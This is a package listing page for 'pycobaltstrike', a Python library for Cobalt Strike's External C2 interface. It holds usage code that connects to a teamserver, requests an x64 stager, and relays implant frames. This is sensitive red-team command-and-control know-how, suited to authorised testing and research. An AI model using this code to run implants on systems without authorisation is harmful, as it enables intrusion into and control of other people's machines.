Skip to main content

pycobaltstrike

A pure python, Cobalt Strike External C2 client library.

This library provides convenience methods for interacting with a Cobalt Strike teamserver via its External C2 mechanism. It implemenents the specification as defined here.

installation

pip install pycobaltstrike

overview

This project provides two classes for working with Cobalt Strike via its external c2 mechanism.

  • CobaltStrike() - This class handles connections to a teamserver and is responsible for sending and receiving frames between a teamserver and an implementor.
  • Frame() - This class is a representation of the raw bytes that is sent to and from a teamserver via the CobaltStrike class. It contains various convenience methods for working with data.

usage example

Once installed, import the library (and the Frame class if you need it).

from pycobaltstrike import CobaltStrike, Frame

Next, instantiate a new instance of CobaltStrike and then connect to an external c2 server.

cs = CobaltStrike()
cs.connect('remote.host', 2222)

With the cs object connected to a Cobalt Strike teamserver, we can now request a stager.

stager = cs.get_stage(arch='x64', pipename='tutorial')

Getting the result of stager to run is out of the scope of this library, however, once that is running and you are able to relay frames, you can do so by sending and receiving Frame objects.

# assuming data here is the raw frame bytes you want to send to the teamserver
data = b'00'
frame = Frame(data)

cs.send(frame=frame)

# response from the teamserver will also return a Frame
response = cs.recv()

Thats it!

the Frame object

Data sent up and down using send() and recv() are instances of the Frame class. Frame's have some convenience methods as shown below.

The specification states that data frames sent to and from the teamserver via external c2's must have the format of [size][payload]. When instantiating a new Frame using the class constructor, note that this should purely be data and not include the length prefix as indicated by the specification. If you have a payload that includes the length prefix, use Frame.from_bytes().

# init a frame from data that does not include length prefix
frame = Frame(b'00')

# init a frame from data that *does* include the length prefix
frame = Frame.from_bytes(b'00')

# init a frame from base64 encoded data that *does* include the length prefix
frame = Frame.from_base64('bXVoYWhhCg==')

# return the raw bytes of a frame that includes the size prefix
frame_bytes = frame.as_bytes()

Metadata

Release files for pycobaltstrike 1.0.0

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pycobaltstrike 1.0.0
File Size Uploaded
pycobaltstrike-1.0.0.tar.gz 15.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for pycobaltstrike 1.0.0
File Interpreter ABI Platform
pycobaltstrike-1.0.0-py3-none-any.whl Python 3 none any Details

Total release size: 30.8 kB

Release files / pycobaltstrike-1.0.0.tar.gz

Download URL pycobaltstrike-1.0.0.tar.gz
Size 15.1 kB
Tags Source
SHA-256 checksum
How to use checksums
caeac5071304d2cb125bef7858c7991247ad4c6702158731c5309ef8da63aefa
BLAKE2b-256 checksum
How to use checksums
ba019f0458fa41e567a979d37f791c58c06fd4c74e437ba7957075e0e31a233e
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.11.6

Release files / pycobaltstrike-1.0.0-py3-none-any.whl

Download URL pycobaltstrike-1.0.0-py3-none-any.whl
Size 15.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
91030fa33fadce81d5cf34ba985944f69d5f03a6174cb95d16429e17aa2b2d76
BLAKE2b-256 checksum
How to use checksums
93d30f05d4a9e465c5526c07502d9a26a7f0cd10bb8fc7eb626857a41ea80a35
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.2 CPython/3.11.6

Release history Release notifications | RSS feed

This release

1.0.0 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page